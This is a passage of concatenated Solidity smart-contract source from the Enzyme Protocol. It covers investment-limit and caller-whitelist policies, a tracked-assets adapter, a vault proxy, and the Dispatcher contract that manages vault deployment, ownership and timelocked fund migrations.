(address[] memory itemsToAdd, address[] memory itemsToRemove) = abi.decode(
_settingsData,
(address[], address[])
);
// If an address is in both add and remove arrays, they will not be in the final list.
// We do not check for uniqueness between the two arrays for efficiency.
if (itemsToAdd.length > 0) {
__addToList(_comptrollerProxy, itemsToAdd);
}
if (itemsToRemove.length > 0) {
__removeFromList(_comptrollerProxy, itemsToRemove);
}
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "../../utils/PolicyBase.sol";
/// @title BuySharesPolicyMixin Contract
/// @author Enzyme Council <[email protected]>
/// @notice A mixin contract for policies that only implement the PreBuyShares policy hook
abstract contract PreBuySharesValidatePolicyBase is PolicyBase {
/// @notice Gets the implemented PolicyHooks for a policy
/// @return implementedHooks_ The implemented PolicyHooks
function implementedHooks()
external
view
override
returns (IPolicyManager.PolicyHook[] memory implementedHooks_)
{
implementedHooks_ = new IPolicyManager.PolicyHook[](1);
implementedHooks_[0] = IPolicyManager.PolicyHook.PreBuyShares;
return implementedHooks_;
}
/// @notice Helper to decode rule arguments
function __decodeRuleArgs(bytes memory _encodedArgs)
internal
pure
returns (
address buyer_,
uint256 investmentAmount_,
uint256 minSharesQuantity_,
uint256 gav_
)
{
return abi.decode(_encodedArgs, (address, uint256, uint256, uint256));
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import "./utils/PreBuySharesValidatePolicyBase.sol";
/// @title MinMaxInvestment Contract
/// @author Enzyme Council <[email protected]>
/// @notice A policy that restricts the amount of the fund's denomination asset that a user can
/// send in a single call to buy shares in a fund
contract MinMaxInvestment is PreBuySharesValidatePolicyBase {
event FundSettingsSet(
address indexed comptrollerProxy,
uint256 minInvestmentAmount,
uint256 maxInvestmentAmount
);
struct FundSettings {
uint256 minInvestmentAmount;
uint256 maxInvestmentAmount;
}
mapping(address => FundSettings) private comptrollerProxyToFundSettings;
constructor(address _policyManager) public PolicyBase(_policyManager) {}
/// @notice Adds the initial policy settings for a fund
/// @param _comptrollerProxy The fund's ComptrollerProxy address
/// @param _encodedSettings Encoded settings to apply to a fund
function addFundSettings(address _comptrollerProxy, bytes calldata _encodedSettings)
external
override
onlyPolicyManager
{
__setFundSettings(_comptrollerProxy, _encodedSettings);
}
/// @notice Provides a constant string identifier for a policy
/// @return identifier_ The identifer string
function identifier() external pure override returns (string memory identifier_) {
return "MIN_MAX_INVESTMENT";
}
/// @notice Updates the policy settings for a fund
/// @param _comptrollerProxy The fund's ComptrollerProxy address
/// @param _encodedSettings Encoded settings to apply to a fund
function updateFundSettings(
address _comptrollerProxy,
address,
bytes calldata _encodedSettings
) external override onlyPolicyManager {
__setFundSettings(_comptrollerProxy, _encodedSettings);
}
/// @notice Checks whether a particular condition passes the rule for a particular fund
/// @param _comptrollerProxy The fund's ComptrollerProxy address
/// @param _investmentAmount The investment amount for which to check the rule
/// @return isValid_ True if the rule passes
function passesRule(address _comptrollerProxy, uint256 _investmentAmount)
public
view
returns (bool isValid_)
{
uint256 minInvestmentAmount = comptrollerProxyToFundSettings[_comptrollerProxy]
.minInvestmentAmount;
uint256 maxInvestmentAmount = comptrollerProxyToFundSettings[_comptrollerProxy]
.maxInvestmentAmount;
// Both minInvestmentAmount and maxInvestmentAmount can be 0 in order to close the fund
// temporarily
if (minInvestmentAmount == 0) {
return _investmentAmount <= maxInvestmentAmount;
} else if (maxInvestmentAmount == 0) {
return _investmentAmount >= minInvestmentAmount;
}
return
_investmentAmount >= minInvestmentAmount && _investmentAmount <= maxInvestmentAmount;
}
/// @notice Apply the rule with the specified parameters of a PolicyHook
/// @param _comptrollerProxy The fund's ComptrollerProxy address
/// @param _encodedArgs Encoded args with which to validate the rule
/// @return isValid_ True if the rule passes
function validateRule(
address _comptrollerProxy,
address,
IPolicyManager.PolicyHook,
bytes calldata _encodedArgs
) external override returns (bool isValid_) {
(, uint256 investmentAmount, , ) = __decodeRuleArgs(_encodedArgs);
return passesRule(_comptrollerProxy, investmentAmount);
}
/// @dev Helper to set the policy settings for a fund
/// @param _comptrollerProxy The fund's ComptrollerProxy address
/// @param _encodedSettings Encoded settings to apply to a fund
function __setFundSettings(address _comptrollerProxy, bytes memory _encodedSettings) private {
(uint256 minInvestmentAmount, uint256 maxInvestmentAmount) = abi.decode(
_encodedSettings,
(uint256, uint256)
);
require(
maxInvestmentAmount == 0 || minInvestmentAmount < maxInvestmentAmount,
"__setFundSettings: minInvestmentAmount must be less than maxInvestmentAmount"
);
comptrollerProxyToFundSettings[_comptrollerProxy]
.minInvestmentAmount = minInvestmentAmount;
comptrollerProxyToFundSettings[_comptrollerProxy]
.maxInvestmentAmount = maxInvestmentAmount;
emit FundSettingsSet(_comptrollerProxy, minInvestmentAmount, maxInvestmentAmount);
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Gets the min and max investment amount for a given fund
/// @param _comptrollerProxy The ComptrollerProxy of the fund
/// @return fundSettings_ The fund settings
function getFundSettings(address _comptrollerProxy)
external
view
returns (FundSettings memory fundSettings_)
{
return comptrollerProxyToFundSettings[_comptrollerProxy];
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "../utils/AddressListPolicyMixin.sol";
import "./utils/BuySharesSetupPolicyBase.sol";
/// @title BuySharesCallerWhitelist Contract
/// @author Enzyme Council <[email protected]>
/// @notice A policy that only allows a configurable whitelist of buyShares callers for a fund
contract BuySharesCallerWhitelist is BuySharesSetupPolicyBase, AddressListPolicyMixin {
constructor(address _policyManager) public PolicyBase(_policyManager) {}
/// @notice Adds the initial policy settings for a fund
/// @param _comptrollerProxy The fund's ComptrollerProxy address
/// @param _encodedSettings Encoded settings to apply to a fund
function addFundSettings(address _comptrollerProxy, bytes calldata _encodedSettings)
external
override
onlyPolicyManager
{
__updateList(_comptrollerProxy, _encodedSettings);
}
/// @notice Provides a constant string identifier for a policy
/// @return identifier_ The identifer string
function identifier() external pure override returns (string memory identifier_) {
return "BUY_SHARES_CALLER_WHITELIST";
}
/// @notice Updates the policy settings for a fund
/// @param _comptrollerProxy The fund's ComptrollerProxy address
/// @param _encodedSettings Encoded settings to apply to a fund
function updateFundSettings(
address _comptrollerProxy,
address,
bytes calldata _encodedSettings
) external override onlyPolicyManager {
__updateList(_comptrollerProxy, _encodedSettings);
}
/// @notice Checks whether a particular condition passes the rule for a particular fund
/// @param _comptrollerProxy The fund's ComptrollerProxy address
/// @param _buySharesCaller The buyShares caller for which to check the rule
/// @return isValid_ True if the rule passes
function passesRule(address _comptrollerProxy, address _buySharesCaller)
public
view
returns (bool isValid_)
{
return isInList(_comptrollerProxy, _buySharesCaller);
}
/// @notice Apply the rule with the specified parameters of a PolicyHook
/// @param _comptrollerProxy The fund's ComptrollerProxy address
/// @param _encodedArgs Encoded args with which to validate the rule
/// @return isValid_ True if the rule passes
function validateRule(
address _comptrollerProxy,
address,
IPolicyManager.PolicyHook,
bytes calldata _encodedArgs
) external override returns (bool isValid_) {
(address caller, , ) = __decodeRuleArgs(_encodedArgs);
return passesRule(_comptrollerProxy, caller);
}
/// @dev Helper to update the whitelist by adding and/or removing addresses
function __updateList(address _comptrollerProxy, bytes memory _settingsData) private {
(address[] memory itemsToAdd, address[] memory itemsToRemove) = abi.decode(
_settingsData,
(address[], address[])
);
// If an address is in both add and remove arrays, they will not be in the final list.
// We do not check for uniqueness between the two arrays for efficiency.
if (itemsToAdd.length > 0) {
__addToList(_comptrollerProxy, itemsToAdd);
}
if (itemsToRemove.length > 0) {
__removeFromList(_comptrollerProxy, itemsToRemove);
}
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "../../utils/PolicyBase.sol";
/// @title BuySharesSetupPolicyBase Contract
/// @author Enzyme Council <[email protected]>
/// @notice A mixin contract for policies that only implement the BuySharesSetup policy hook
abstract contract BuySharesSetupPolicyBase is PolicyBase {
/// @notice Gets the implemented PolicyHooks for a policy
/// @return implementedHooks_ The implemented PolicyHooks
function implementedHooks()
external
view
override
returns (IPolicyManager.PolicyHook[] memory implementedHooks_)
{
implementedHooks_ = new IPolicyManager.PolicyHook[](1);
implementedHooks_[0] = IPolicyManager.PolicyHook.BuySharesSetup;
return implementedHooks_;
}
/// @notice Helper to decode rule arguments
function __decodeRuleArgs(bytes memory _encodedArgs)
internal
pure
returns (
address caller_,
uint256[] memory investmentAmounts_,
uint256 gav_
)
{
return abi.decode(_encodedArgs, (address, uint256[], uint256));
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "../../../../core/fund/vault/VaultLib.sol";
import "../utils/AdapterBase.sol";
/// @title TrackedAssetsAdapter Contract
/// @author Enzyme Council <[email protected]>
/// @notice Adapter to add tracked assets to a fund (useful e.g. to handle token airdrops)
contract TrackedAssetsAdapter is AdapterBase {
constructor(address _integrationManager) public AdapterBase(_integrationManager) {}
/// @notice Add multiple assets to the Vault's list of tracked assets
/// @dev No need to perform any validation or implement any logic
function addTrackedAssets(
address,
bytes calldata,
bytes calldata
) external view {}
/// @notice Provides a constant string identifier for an adapter
/// @return identifier_ The identifer string
function identifier() external pure override returns (string memory identifier_) {
return "TRACKED_ASSETS";
}
/// @notice Parses the expected assets to receive from a call on integration
/// @param _selector The function selector for the callOnIntegration
/// @param _encodedCallArgs The encoded parameters for the callOnIntegration
/// @return spendAssetsHandleType_ A type that dictates how to handle granting
/// the adapter access to spend assets (`None` by default)
/// @return spendAssets_ The assets to spend in the call
/// @return spendAssetAmounts_ The max asset amounts to spend in the call
/// @return incomingAssets_ The assets to receive in the call
/// @return minIncomingAssetAmounts_ The min asset amounts to receive in the call
function parseAssetsForMethod(bytes4 _selector, bytes calldata _encodedCallArgs)
external
view
override
returns (
IIntegrationManager.SpendAssetsHandleType spendAssetsHandleType_,
address[] memory spendAssets_,
uint256[] memory spendAssetAmounts_,
address[] memory incomingAssets_,
uint256[] memory minIncomingAssetAmounts_
)
{
require(
_selector == ADD_TRACKED_ASSETS_SELECTOR,
"parseAssetsForMethod: _selector invalid"
);
incomingAssets_ = __decodeCallArgs(_encodedCallArgs);
minIncomingAssetAmounts_ = new uint256[](incomingAssets_.length);
for (uint256 i; i < minIncomingAssetAmounts_.length; i++) {
minIncomingAssetAmounts_[i] = 1;
}
return (
spendAssetsHandleType_,
spendAssets_,
spendAssetAmounts_,
incomingAssets_,
minIncomingAssetAmounts_
);
}
// PRIVATE FUNCTIONS
/// @dev Helper to decode the encoded call arguments
function __decodeCallArgs(bytes memory _encodedCallArgs)
private
pure
returns (address[] memory incomingAssets_)
{
return abi.decode(_encodedCallArgs, (address[]));
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "./utils/ProxiableVaultLib.sol";
/// @title VaultProxy Contract
/// @author Enzyme Council <[email protected]>
/// @notice A proxy contract for all VaultProxy instances, slightly modified from EIP-1822
/// @dev Adapted from the recommended implementation of a Proxy in EIP-1822, updated for solc 0.6.12,
/// and using the EIP-1967 storage slot for the proxiable implementation.
/// i.e., `bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1)`, which is
/// "0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc"
/// See: https://eips.ethereum.org/EIPS/eip-1822
contract VaultProxy {
constructor(bytes memory _constructData, address _vaultLib) public {
// "0x027b9570e9fedc1a80b937ae9a06861e5faef3992491af30b684a64b3fbec7a5" corresponds to
// `bytes32(keccak256('mln.proxiable.vaultlib'))`
require(
bytes32(0x027b9570e9fedc1a80b937ae9a06861e5faef3992491af30b684a64b3fbec7a5) ==
ProxiableVaultLib(_vaultLib).proxiableUUID(),
"constructor: _vaultLib not compatible"
);
assembly {
// solium-disable-line
sstore(0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc, _vaultLib)
}
(bool success, bytes memory returnData) = _vaultLib.delegatecall(_constructData); // solium-disable-line
require(success, string(returnData));
}
fallback() external payable {
assembly {
// solium-disable-line
let contractLogic := sload(
0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc
)
calldatacopy(0x0, 0x0, calldatasize())
let success := delegatecall(
sub(gas(), 10000),
contractLogic,
0x0,
calldatasize(),
0,
0
)
let retSz := returndatasize()
returndatacopy(0, 0, retSz)
switch success
case 0 {
revert(0, retSz)
}
default {
return(0, retSz)
}
}
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "../utils/IMigrationHookHandler.sol";
import "../utils/IMigratableVault.sol";
import "../vault/VaultProxy.sol";
import "./IDispatcher.sol";
/// @title Dispatcher Contract
/// @author Enzyme Council <[email protected]>
/// @notice The top-level contract linking multiple releases.
/// It handles the deployment of new VaultProxy instances,
/// and the regulation of fund migration from a previous release to the current one.
/// It can also be referred to for access-control based on this contract's owner.
/// @dev DO NOT EDIT CONTRACT
contract Dispatcher is IDispatcher {
event CurrentFundDeployerSet(address prevFundDeployer, address nextFundDeployer);
event MigrationCancelled(
address indexed vaultProxy,
address indexed prevFundDeployer,
address indexed nextFundDeployer,
address nextVaultAccessor,
address nextVaultLib,
uint256 executableTimestamp
);
event MigrationExecuted(
address indexed vaultProxy,
address indexed prevFundDeployer,
address indexed nextFundDeployer,
address nextVaultAccessor,
address nextVaultLib,
uint256 executableTimestamp
);
event MigrationSignaled(
address indexed vaultProxy,
address indexed prevFundDeployer,
address indexed nextFundDeployer,
address nextVaultAccessor,
address nextVaultLib,
uint256 executableTimestamp
);
event MigrationTimelockSet(uint256 prevTimelock, uint256 nextTimelock);
event NominatedOwnerSet(address indexed nominatedOwner);
event NominatedOwnerRemoved(address indexed nominatedOwner);
event OwnershipTransferred(address indexed prevOwner, address indexed nextOwner);
event MigrationInCancelHookFailed(
bytes failureReturnData,
address indexed vaultProxy,
address indexed prevFundDeployer,
address indexed nextFundDeployer,
address nextVaultAccessor,
address nextVaultLib
);
event MigrationOutHookFailed(
bytes failureReturnData,
IMigrationHookHandler.MigrationOutHook hook,
address indexed vaultProxy,
address indexed prevFundDeployer,
address indexed nextFundDeployer,
address nextVaultAccessor,
address nextVaultLib
);
event SharesTokenSymbolSet(string _nextSymbol);
event VaultProxyDeployed(
address indexed fundDeployer,
address indexed owner,
address vaultProxy,
address indexed vaultLib,
address vaultAccessor,
string fundName
);
struct MigrationRequest {
address nextFundDeployer;
address nextVaultAccessor;
address nextVaultLib;
uint256 executableTimestamp;
}
address private currentFundDeployer;
address private nominatedOwner;
address private owner;
uint256 private migrationTimelock;
string private sharesTokenSymbol;
mapping(address => address) private vaultProxyToFundDeployer;
mapping(address => MigrationRequest) private vaultProxyToMigrationRequest;
modifier onlyCurrentFundDeployer() {
require(
msg.sender == currentFundDeployer,
"Only the current FundDeployer can call this function"
);
_;
}
modifier onlyOwner() {
require(msg.sender == owner, "Only the contract owner can call this function");
_;
}
constructor() public {
migrationTimelock = 2 days;
owner = msg.sender;
sharesTokenSymbol = "ENZF";
}
/////////////
// GENERAL //
/////////////
/// @notice Sets a new `symbol` value for VaultProxy instances
/// @param _nextSymbol The symbol value to set
function setSharesTokenSymbol(string calldata _nextSymbol) external override onlyOwner {
sharesTokenSymbol = _nextSymbol;
emit SharesTokenSymbolSet(_nextSymbol);
}
////////////////////
// ACCESS CONTROL //
////////////////////
/// @notice Claim ownership of the contract
function claimOwnership() external override {
address nextOwner = nominatedOwner;
require(
msg.sender == nextOwner,
"claimOwnership: Only the nominatedOwner can call this function"
);
delete nominatedOwner;
address prevOwner = owner;
owner = nextOwner;
emit OwnershipTransferred(prevOwner, nextOwner);
}
/// @notice Revoke the nomination of a new contract owner
function removeNominatedOwner() external override onlyOwner {
address removedNominatedOwner = nominatedOwner;
require(
removedNominatedOwner != address(0),
"removeNominatedOwner: There is no nominated owner"
);
delete nominatedOwner;
emit NominatedOwnerRemoved(removedNominatedOwner);
}
/// @notice Set a new FundDeployer for use within the contract
/// @param _nextFundDeployer The address of the FundDeployer contract
function setCurrentFundDeployer(address _nextFundDeployer) external override onlyOwner {
require(
_nextFundDeployer != address(0),
"setCurrentFundDeployer: _nextFundDeployer cannot be empty"
);
require(
__isContract(_nextFundDeployer),
"setCurrentFundDeployer: Non-contract _nextFundDeployer"
);
address prevFundDeployer = currentFundDeployer;
require(
_nextFundDeployer != prevFundDeployer,
"setCurrentFundDeployer: _nextFundDeployer is already currentFundDeployer"
);
currentFundDeployer = _nextFundDeployer;
emit CurrentFundDeployerSet(prevFundDeployer, _nextFundDeployer);
}
/// @notice Nominate a new contract owner
/// @param _nextNominatedOwner The account to nominate
/// @dev Does not prohibit overwriting the current nominatedOwner
function setNominatedOwner(address _nextNominatedOwner) external override onlyOwner {
require(
_nextNominatedOwner != address(0),
"setNominatedOwner: _nextNominatedOwner cannot be empty"
);
require(
_nextNominatedOwner != owner,
"setNominatedOwner: _nextNominatedOwner is already the owner"
);
require(
_nextNominatedOwner != nominatedOwner,
"setNominatedOwner: _nextNominatedOwner is already nominated"
);
nominatedOwner = _nextNominatedOwner;
emit NominatedOwnerSet(_nextNominatedOwner);
}
/// @dev Helper to check whether an address is a deployed contract
function __isContract(address _who) private view returns (bool isContract_) {
uint256 size;
assembly {
size := extcodesize(_who)
}
return size > 0;
}
////////////////
// DEPLOYMENT //
////////////////
/// @notice Deploys a VaultProxy
/// @param _vaultLib The VaultLib library with which to instantiate the VaultProxy
/// @param _owner The account to set as the VaultProxy's owner
/// @param _vaultAccessor The account to set as the VaultProxy's permissioned accessor
/// @param _fundName The name of the fund
/// @dev Input validation should be handled by the VaultProxy during deployment
function deployVaultProxy(
address _vaultLib,
address _owner,
address _vaultAccessor,
string calldata _fundName
) external override onlyCurrentFundDeployer returns (address vaultProxy_) {
require(__isContract(_vaultAccessor), "deployVaultProxy: Non-contract _vaultAccessor");
bytes memory constructData = abi.encodeWithSelector(
IMigratableVault.init.selector,
_owner,
_vaultAccessor,
_fundName
);
vaultProxy_ = address(new VaultProxy(constructData, _vaultLib));
address fundDeployer = msg.sender;
vaultProxyToFundDeployer[vaultProxy_] = fundDeployer;
emit VaultProxyDeployed(
fundDeployer,
_owner,
vaultProxy_,
_vaultLib,
_vaultAccessor,
_fundName
);
return vaultProxy_;
}
////////////////
// MIGRATIONS //
////////////////
/// @notice Cancels a pending migration request
/// @param _vaultProxy The VaultProxy contract for which to cancel the migration request
/// @param _bypassFailure True if a failure in either migration hook should be ignored
/// @dev Because this function must also be callable by a permissioned migrator, it has an
/// extra migration hook to the nextFundDeployer for the case where cancelMigration()
/// is called directly (rather than via the nextFundDeployer).
function cancelMigration(address _vaultProxy, bool _bypassFailure) external override {
MigrationRequest memory request = vaultProxyToMigrationRequest[_vaultProxy];
address nextFundDeployer = request.nextFundDeployer;
require(nextFundDeployer != address(0), "cancelMigration: No migration request exists");
// TODO: confirm that if canMigrate() does not exist but the caller is a valid FundDeployer, this still works.
require(
msg.sender == nextFundDeployer || IMigratableVault(_vaultProxy).canMigrate(msg.sender),
"cancelMigration: Not an allowed caller"
);
address prevFundDeployer = vaultProxyToFundDeployer[_vaultProxy];
address nextVaultAccessor = request.nextVaultAccessor;
address nextVaultLib = request.nextVaultLib;
uint256 executableTimestamp = request.executableTimestamp;
delete vaultProxyToMigrationRequest[_vaultProxy];
__invokeMigrationOutHook(
IMigrationHookHandler.MigrationOutHook.PostCancel,
_vaultProxy,
prevFundDeployer,
nextFundDeployer,
nextVaultAccessor,
nextVaultLib,
_bypassFailure
);
__invokeMigrationInCancelHook(
_vaultProxy,
prevFundDeployer,
nextFundDeployer,
nextVaultAccessor,
nextVaultLib,
_bypassFailure
);
emit MigrationCancelled(
_vaultProxy,
prevFundDeployer,
nextFundDeployer,
nextVaultAccessor,
nextVaultLib,
executableTimestamp
);
}
/// @notice Executes a pending migration request
/// @param _vaultProxy The VaultProxy contract for which to execute the migration request
/// @param _bypassFailure True if a failure in either migration hook should be ignored
function executeMigration(address _vaultProxy, bool _bypassFailure) external override {
MigrationRequest memory request = vaultProxyToMigrationRequest[_vaultProxy];
address nextFundDeployer = request.nextFundDeployer;
require(
nextFundDeployer != address(0),
"executeMigration: No migration request exists for _vaultProxy"
);
require(
msg.sender == nextFundDeployer,
"executeMigration: Only the target FundDeployer can call this function"
);
require(
nextFundDeployer == currentFundDeployer,
"executeMigration: The target FundDeployer is no longer the current FundDeployer"
);
uint256 executableTimestamp = request.executableTimestamp;
require(
block.timestamp >= executableTimestamp,
"executeMigration: The migration timelock has not elapsed"
);
address prevFundDeployer = vaultProxyToFundDeployer[_vaultProxy];
address nextVaultAccessor = request.nextVaultAccessor;
address nextVaultLib = request.nextVaultLib;
__invokeMigrationOutHook(
IMigrationHookHandler.MigrationOutHook.PreMigrate,
_vaultProxy,
prevFundDeployer,
nextFundDeployer,
nextVaultAccessor,
nextVaultLib,
_bypassFailure
);
// Upgrade the VaultProxy to a new VaultLib and update the accessor via the new VaultLib
IMigratableVault(_vaultProxy).setVaultLib(nextVaultLib);
IMigratableVault(_vaultProxy).setAccessor(nextVaultAccessor);
// Update the FundDeployer that migrated the VaultProxy
vaultProxyToFundDeployer[_vaultProxy] = nextFundDeployer;
// Remove the migration request
delete vaultProxyToMigrationRequest[_vaultProxy];
__invokeMigrationOutHook(
IMigrationHookHandler.MigrationOutHook.PostMigrate,
_vaultProxy,
prevFundDeployer,
nextFundDeployer,
nextVaultAccessor,
nextVaultLib,
_bypassFailure
);
emit MigrationExecuted(
_vaultProxy,
prevFundDeployer,
nextFundDeployer,
nextVaultAccessor,
nextVaultLib,
executableTimestamp
);
}
/// @notice Sets a new migration timelock
/// @param _nextTimelock The number of seconds for the new timelock
function setMigrationTimelock(uint256 _nextTimelock) external override onlyOwner {
uint256 prevTimelock = migrationTimelock;
require(
_nextTimelock != prevTimelock,
"setMigrationTimelock: _nextTimelock is the current timelock"
);
migrationTimelock = _nextTimelock;
emit MigrationTimelockSet(prevTimelock, _nextTimelock);
}
/// @notice Signals a migration by creating a migration request
/// @param _vaultProxy The VaultProxy contract for which to signal migration
/// @param _nextVaultAccessor The account that will be the next `accessor` on the VaultProxy
/// @param _nextVaultLib The next VaultLib library contract address to set on the VaultProxy
/// @param _bypassFailure True if a failure in either migration hook should be ignored
function signalMigration(
address _vaultProxy,
address _nextVaultAccessor,
address _nextVaultLib,
bool _bypassFailure
) external override onlyCurrentFundDeployer {
require(
__isContract(_nextVaultAccessor),
"signalMigration: Non-contract _nextVaultAccessor"
);
address prevFundDeployer = vaultProxyToFundDeployer[_vaultProxy];
require(prevFundDeployer != address(0), "signalMigration: _vaultProxy does not exist");
address nextFundDeployer = msg.sender;
require(
nextFundDeployer != prevFundDeployer,
"signalMigration: Can only migrate to a new FundDeployer"
);
__invokeMigrationOutHook(
IMigrationHookHandler.MigrationOutHook.PreSignal,
_vaultProxy,
prevFundDeployer,
nextFundDeployer,
_nextVaultAccessor,
_nextVaultLib,
_bypassFailure
);
uint256 executableTimestamp = block.timestamp + migrationTimelock;
vaultProxyToMigrationRequest[_vaultProxy] = MigrationRequest({
nextFundDeployer: nextFundDeployer,
nextVaultAccessor: _nextVaultAccessor,
nextVaultLib: _nextVaultLib,
executableTimestamp: executableTimestamp
});
__invokeMigrationOutHook(
IMigrationHookHandler.MigrationOutHook.PostSignal,
_vaultProxy,
prevFundDeployer,
nextFundDeployer,
_nextVaultAccessor,
_nextVaultLib,
_bypassFailure
);
emit MigrationSignaled(
_vaultProxy,
prevFundDeployer,
nextFundDeployer,
_nextVaultAccessor,
_nextVaultLib,
executableTimestamp
);
}
/// @dev Helper to invoke a MigrationInCancelHook on the next FundDeployer being "migrated in" to,
/// which can optionally be implemented on the FundDeployer
function __invokeMigrationInCancelHook(
address _vaultProxy,
address _prevFundDeployer,
address _nextFundDeployer,
address _nextVaultAccessor,
address _nextVaultLib,
bool _bypassFailure
) private {
(bool success, bytes memory returnData) = _nextFundDeployer.call(
abi.encodeWithSelector(
IMigrationHookHandler.invokeMigrationInCancelHook.selector,
_vaultProxy,
_prevFundDeployer,
_nextVaultAccessor,
_nextVaultLib
)
);
if (!success) {
require(
_bypassFailure,
string(abi.encodePacked("MigrationOutCancelHook: ", returnData))
);
emit MigrationInCancelHookFailed(
returnData,
_vaultProxy,
_prevFundDeployer,
_nextFundDeployer,
_nextVaultAccessor,
_nextVaultLib
);
}
}
/// @dev Helper to invoke a IMigrationHookHandler.MigrationOutHook on the previous FundDeployer being "migrated out" of,
/// which can optionally be implemented on the FundDeployer
function __invokeMigrationOutHook(
IMigrationHookHandler.MigrationOutHook _hook,
address _vaultProxy,
address _prevFundDeployer,
address _nextFundDeployer,
address _nextVaultAccessor,
address _nextVaultLib,
bool _bypassFailure
) private {
(bool success, bytes memory returnData) = _prevFundDeployer.call(
abi.encodeWithSelector(
IMigrationHookHandler.invokeMigrationOutHook.selector,
_hook,
_vaultProxy,
_nextFundDeployer,
_nextVaultAccessor,
_nextVaultLib
)
);
if (!success) {
require(
_bypassFailure,
string(abi.encodePacked(__migrationOutHookFailureReasonPrefix(_hook), returnData))
);
emit MigrationOutHookFailed(
returnData,
_hook,
_vaultProxy,
_prevFundDeployer,
_nextFundDeployer,
_nextVaultAccessor,
_nextVaultLib
);
}
}
/// @dev Helper to return a revert reason string prefix for a given MigrationOutHook
function __migrationOutHookFailureReasonPrefix(IMigrationHookHandler.MigrationOutHook _hook)
private
pure
returns (string memory failureReasonPrefix_)
{
if (_hook == IMigrationHookHandler.MigrationOutHook.PreSignal) {
return "MigrationOutHook.PreSignal: ";
}
if (_hook == IMigrationHookHandler.MigrationOutHook.PostSignal) {
return "MigrationOutHook.PostSignal: ";
}
if (_hook == IMigrationHookHandler.MigrationOutHook.PreMigrate) {
return "MigrationOutHook.PreMigrate: ";
}
if (_hook == IMigrationHookHandler.MigrationOutHook.PostMigrate) {
return "MigrationOutHook.PostMigrate: ";
}
if (_hook == IMigrationHookHandler.MigrationOutHook.PostCancel) {
return "MigrationOutHook.PostCancel: ";
}
return "";
}
///////////////////
// STATE GETTERS //
///////////////////
// Provides several potentially helpful getters that are not strictly necessary
/// @notice Gets the current FundDeployer that is allowed to deploy and migrate funds
/// @return currentFundDeployer_ The current FundDeployer contract address
function getCurrentFundDeployer()
external
view
override
returns (address currentFundDeployer_)
{
return currentFundDeployer;
}
/// @notice Gets the FundDeployer with which a given VaultProxy is associated
/// @param _vaultProxy The VaultProxy instance
/// @return fundDeployer_ The FundDeployer contract address
function getFundDeployerForVaultProxy(address _vaultProxy)
external
view
override
returns (address fundDeployer_)
{
return vaultProxyToFundDeployer[_vaultProxy];
}
/// @notice Gets the details of a pending migration request for a given VaultProxy
/// @param _vaultProxy The VaultProxy instance
/// @return nextFundDeployer_ The FundDeployer contract address from which the migration
/// request was made
/// @return nextVaultAccessor_ The account that will be the next `accessor` on the VaultProxy
/// @return nextVaultLib_ The next VaultLib library contract address to set on the VaultProxy
/// @return executableTimestamp_ The timestamp at which the migration request can be executed
function getMigrationRequestDetailsForVaultProxy(address _vaultProxy)
external
view
override
returns (
address nextFundDeployer_,
address nextVaultAccessor_,
address nextVaultLib_,
uint256 executableTimestamp_
)
{
MigrationRequest memory r = vaultProxyToMigrationRequest[_vaultProxy];
if (r.executableTimestamp > 0) {
return (
r.nextFundDeployer,
r.nextVaultAccessor,
r.nextVaultLib,
r.executableTimestamp
);
}
}
/// @notice Gets the amount of time that must pass between signaling and executing a migration
/// @return migrationTimelock_ The timelock value (in seconds)
function getMigrationTimelock() external view override returns (uint256 migrationTimelock_) {
return migrationTimelock;
}
/// @notice Gets the account that is nominated to be the next owner of this contract
/// @return nominatedOwner_ The account that is nominated to be the owner
function getNominatedOwner() external view override returns (address nominatedOwner_) {
return nominatedOwner;
}
/// @notice Gets the owner of this contract
/// @return owner_ The account that is the owner
function getOwner() external view override returns (address owner_) {
return owner;
}
/// @notice Gets the shares token `symbol` value for use in VaultProxy instances
/// @return sharesTokenSymbol_ The `symbol` value
function getSharesTokenSymbol()
external
view
override
returns (string memory sharesTokenSymbol_)
{
return sharesTokenSymbol;
}
/// @notice Gets the time remaining until the migration request of a given VaultProxy can be executed
/// @param _vaultProxy The VaultProxy instance
/// @return secondsRemaining_ The number of seconds remaining on the timelock
function getTimelockRemainingForMigrationRequest(address _vaultProxy)
external
view
override
returns (uint256 secondsRemaining_)
{
uint256 executableTimestamp = vaultProxyToMigrationRequest[_vaultProxy]
.executableTimestamp;
if (executableTimestamp == 0) {
return 0;
}
if (block.timestamp >= executableTimestamp) {
return 0;
}
return executableTimestamp - block.timestamp;
}
/// @notice Checks whether a migration request that is executable exists for a given VaultProxy
/// @param _vaultProxy The VaultProxy instance
/// @return hasExecutableRequest_ True if a migration request exists and is executable
function hasExecutableMigrationRequest(address _vaultProxy)
external
view
override
returns (bool hasExecutableRequest_)
{
